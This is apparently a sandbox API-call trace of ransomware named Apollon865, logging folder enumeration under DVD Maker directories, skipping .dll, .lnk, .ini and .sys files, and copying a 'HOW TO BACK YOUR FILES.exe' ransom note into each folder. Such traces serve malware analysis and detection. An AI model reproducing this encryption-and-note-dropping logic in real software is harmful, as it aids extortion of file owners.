	[0074.348] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="shadowonlyframe_videoinset.png" | out: lpString1="shadowonlyframe_videoinset.png") returned="shadowonlyframe_videoinset.png"
	[0074.348] lstrlenW (lpString="shadowonlyframe_videoinset.png") returned 30
	[0074.348] lstrlenW (lpString="Apollon865") returned 10
	[0074.348] lstrcmpiW (lpString1="oinset.png", lpString2="Apollon865") returned 1
	[0074.348] lstrlenW (lpString=".dll") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".dll") returned 1
	[0074.348] lstrlenW (lpString=".lnk") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".lnk") returned 1
	[0074.348] lstrlenW (lpString=".ini") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".ini") returned 1
	[0074.348] lstrlenW (lpString=".sys") returned 4
	[0074.348] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".sys") returned 1
	[0074.348] lstrlenW (lpString="shadowonlyframe_videoinset.png") returned 30
	[0074.348] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Shatter" | out: lpString1="Shatter") returned="Shatter"
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5aff18
	[0074.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0074.349] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1
	[0074.349] lstrcmpiW (lpString1="SpecialOccasion", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.349] lstrcmpiW (lpString1="SpecialOccasion", lpString2="Apollon865.txt.exe") returned 1
	[0074.349] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="SpecialOccasion" | out: lpString1="SpecialOccasion") returned="SpecialOccasion"
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0074.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0074.349] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0074.349] lstrcmpiW (lpString1="Sports", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.349] lstrcmpiW (lpString1="Sports", lpString2="Apollon865.txt.exe") returned 1
	[0074.349] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Sports" | out: lpString1="Sports") returned="Sports"
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5aff88
	[0074.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0074.349] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1
	[0074.349] lstrcmpiW (lpString1="Stacking", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.349] lstrcmpiW (lpString1="Stacking", lpString2="Apollon865.txt.exe") returned 1
	[0074.349] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Stacking" | out: lpString1="Stacking") returned="Stacking"
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59ab78
	[0074.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7b50
	[0074.349] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1
	[0074.349] lstrcmpiW (lpString1="Travel", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.349] lstrcmpiW (lpString1="Travel", lpString2="Apollon865.txt.exe") returned 1
	[0074.349] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Travel" | out: lpString1="Travel") returned="Travel"
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0074.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afff8
	[0074.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0074.350] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1
	[0074.350] lstrcmpiW (lpString1="VideoWall", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.350] lstrcmpiW (lpString1="VideoWall", lpString2="Apollon865.txt.exe") returned 1
	[0074.350] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="VideoWall" | out: lpString1="VideoWall") returned="VideoWall"
	[0074.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0074.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59abf0
	[0074.350] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0074.350] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1
	[0074.350] lstrcmpiW (lpString1="Vignette", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.350] lstrcmpiW (lpString1="Vignette", lpString2="Apollon865.txt.exe") returned 1
	[0074.350] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Vignette" | out: lpString1="Vignette") returned="Vignette"
	[0074.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0074.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59ac68
	[0074.350] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0074.350] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1
	[0074.350] lstrcmpiW (lpString1="WhiteDot.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.350] lstrcmpiW (lpString1="WhiteDot.png", lpString2="Apollon865.txt.exe") returned 1
	[0074.350] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WhiteDot.png" | out: lpString1="WhiteDot.png") returned="WhiteDot.png"
	[0074.350] lstrlenW (lpString="WhiteDot.png") returned 12
	[0074.350] lstrlenW (lpString="Apollon865") returned 10
	[0074.350] lstrcmpiW (lpString1="iteDot.png", lpString2="Apollon865") returned 1
	[0074.350] lstrlenW (lpString=".dll") returned 4
	[0074.350] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".dll") returned 1
	[0074.350] lstrlenW (lpString=".lnk") returned 4
	[0074.350] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".lnk") returned 1
	[0074.350] lstrlenW (lpString=".ini") returned 4
	[0074.350] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".ini") returned 1
	[0074.350] lstrlenW (lpString=".sys") returned 4
	[0074.351] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".sys") returned 1
	[0074.351] lstrlenW (lpString="WhiteDot.png") returned 12
	[0074.351] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette"
	[0074.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0074.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0074.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette") returned 52
	[0074.351] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette"
	[0074.351] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.351] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.357] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4464cd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4464cd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.357] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.357] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.357] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.357] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.357] lstrlenW (lpString="Apollon865") returned 10
	[0074.357] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.357] lstrlenW (lpString=".dll") returned 4
	[0074.357] lstrcmpiW (lpString1="1047x576black.png", lpString2=".dll") returned 1
	[0074.357] lstrlenW (lpString=".lnk") returned 4
	[0074.357] lstrcmpiW (lpString1="1047x576black.png", lpString2=".lnk") returned 1
	[0074.357] lstrlenW (lpString=".ini") returned 4
	[0074.357] lstrcmpiW (lpString1="1047x576black.png", lpString2=".ini") returned 1
	[0074.357] lstrlenW (lpString=".sys") returned 4
	[0074.357] lstrcmpiW (lpString1="1047x576black.png", lpString2=".sys") returned 1
	[0074.357] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.358] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png"
	[0074.358] lstrlenW (lpString="15x15dot.png") returned 12
	[0074.358] lstrlenW (lpString="Apollon865") returned 10
	[0074.358] lstrcmpiW (lpString1="x15dot.png", lpString2="Apollon865") returned 1
	[0074.358] lstrlenW (lpString=".dll") returned 4
	[0074.358] lstrcmpiW (lpString1="15x15dot.png", lpString2=".dll") returned 1
	[0074.358] lstrlenW (lpString=".lnk") returned 4
	[0074.358] lstrcmpiW (lpString1="15x15dot.png", lpString2=".lnk") returned 1
	[0074.358] lstrlenW (lpString=".ini") returned 4
	[0074.358] lstrcmpiW (lpString1="15x15dot.png", lpString2=".ini") returned 1
	[0074.358] lstrlenW (lpString=".sys") returned 4
	[0074.358] lstrcmpiW (lpString1="15x15dot.png", lpString2=".sys") returned 1
	[0074.358] lstrlenW (lpString="15x15dot.png") returned 12
	[0074.358] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.358] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.358] lstrlenW (lpString="Apollon865") returned 10
	[0074.358] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.358] lstrlenW (lpString=".dll") returned 4
	[0074.358] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.358] lstrlenW (lpString=".lnk") returned 4
	[0074.358] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.358] lstrlenW (lpString=".ini") returned 4
	[0074.358] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.358] lstrlenW (lpString=".sys") returned 4
	[0074.358] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.358] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.358] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.358] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.358] lstrlenW (lpString="Apollon865") returned 10
	[0074.359] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.359] lstrlenW (lpString=".dll") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.359] lstrlenW (lpString=".lnk") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.359] lstrlenW (lpString=".ini") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.359] lstrlenW (lpString=".sys") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.359] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.359] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.359] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.359] lstrlenW (lpString="Apollon865") returned 10
	[0074.359] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.359] lstrlenW (lpString=".dll") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.359] lstrlenW (lpString=".lnk") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.359] lstrlenW (lpString=".ini") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.359] lstrlenW (lpString=".sys") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.359] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.359] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.359] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.359] lstrlenW (lpString="Apollon865") returned 10
	[0074.359] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.359] lstrlenW (lpString=".dll") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.359] lstrlenW (lpString=".lnk") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.359] lstrlenW (lpString=".ini") returned 4
	[0074.359] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.360] lstrlenW (lpString=".sys") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.360] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.360] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.360] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.360] lstrlenW (lpString="Apollon865") returned 10
	[0074.360] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.360] lstrlenW (lpString=".dll") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".dll") returned 1
	[0074.360] lstrlenW (lpString=".lnk") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".lnk") returned 1
	[0074.360] lstrlenW (lpString=".ini") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".ini") returned 1
	[0074.360] lstrlenW (lpString=".sys") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".sys") returned 1
	[0074.360] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.360] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.360] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.360] lstrlenW (lpString="Apollon865") returned 10
	[0074.360] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.360] lstrlenW (lpString=".dll") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".dll") returned 1
	[0074.360] lstrlenW (lpString=".lnk") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".lnk") returned 1
	[0074.360] lstrlenW (lpString=".ini") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".ini") returned 1
	[0074.360] lstrlenW (lpString=".sys") returned 4
	[0074.360] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".sys") returned 1
	[0074.360] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.361] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="softedges.png" | out: lpString1="softedges.png") returned="softedges.png"
	[0074.361] lstrlenW (lpString="softedges.png") returned 13
	[0074.361] lstrlenW (lpString="Apollon865") returned 10
	[0074.361] lstrcmpiW (lpString1="tedges.png", lpString2="Apollon865") returned 1
	[0074.361] lstrlenW (lpString=".dll") returned 4
	[0074.361] lstrcmpiW (lpString1="softedges.png", lpString2=".dll") returned 1
	[0074.361] lstrlenW (lpString=".lnk") returned 4
	[0074.361] lstrcmpiW (lpString1="softedges.png", lpString2=".lnk") returned 1
	[0074.361] lstrlenW (lpString=".ini") returned 4
	[0074.361] lstrcmpiW (lpString1="softedges.png", lpString2=".ini") returned 1
	[0074.361] lstrlenW (lpString=".sys") returned 4
	[0074.361] lstrcmpiW (lpString1="softedges.png", lpString2=".sys") returned 1
	[0074.361] lstrlenW (lpString="softedges.png") returned 13
	[0074.361] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="vignettemask25.png" | out: lpString1="vignettemask25.png") returned="vignettemask25.png"
	[0074.361] lstrlenW (lpString="vignettemask25.png") returned 18
	[0074.361] lstrlenW (lpString="Apollon865") returned 10
	[0074.361] lstrcmpiW (lpString1="mask25.png", lpString2="Apollon865") returned 1
	[0074.361] lstrlenW (lpString=".dll") returned 4
	[0074.361] lstrcmpiW (lpString1="vignettemask25.png", lpString2=".dll") returned 1
	[0074.361] lstrlenW (lpString=".lnk") returned 4
	[0074.361] lstrcmpiW (lpString1="vignettemask25.png", lpString2=".lnk") returned 1
	[0074.361] lstrlenW (lpString=".ini") returned 4
	[0074.361] lstrcmpiW (lpString1="vignettemask25.png", lpString2=".ini") returned 1
	[0074.361] lstrlenW (lpString=".sys") returned 4
	[0074.361] lstrcmpiW (lpString1="vignettemask25.png", lpString2=".sys") returned 1
	[0074.361] lstrlenW (lpString="vignettemask25.png") returned 18
	[0074.361] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="whiteband.png" | out: lpString1="whiteband.png") returned="whiteband.png"
	[0074.361] lstrlenW (lpString="whiteband.png") returned 13
	[0074.361] lstrlenW (lpString="Apollon865") returned 10
	[0074.361] lstrcmpiW (lpString1="teband.png", lpString2="Apollon865") returned 1
	[0074.361] lstrlenW (lpString=".dll") returned 4
	[0074.362] lstrcmpiW (lpString1="whiteband.png", lpString2=".dll") returned 1
	[0074.362] lstrlenW (lpString=".lnk") returned 4
	[0074.362] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall"
	[0074.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0074.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0074.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall") returned 53
	[0074.362] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall"
	[0074.362] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.362] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.366] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4464cd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4464cd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.366] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.366] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.366] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png"
	[0074.366] lstrlenW (lpString="203x8subpicture.png") returned 19
	[0074.366] lstrlenW (lpString="Apollon865") returned 10
	[0074.366] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.366] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="videowall.png" | out: lpString1="videowall.png") returned="videowall.png"
	[0074.367] lstrlenW (lpString="videowall.png") returned 13
	[0074.367] lstrlenW (lpString="Apollon865") returned 10
	[0074.367] lstrcmpiW (lpString1="eowall.png", lpString2="Apollon865") returned 1
	[0074.367] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel"
	[0074.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afff8 | out: hHeap=0x580000) returned 1
	[0074.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0074.367] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel") returned 50
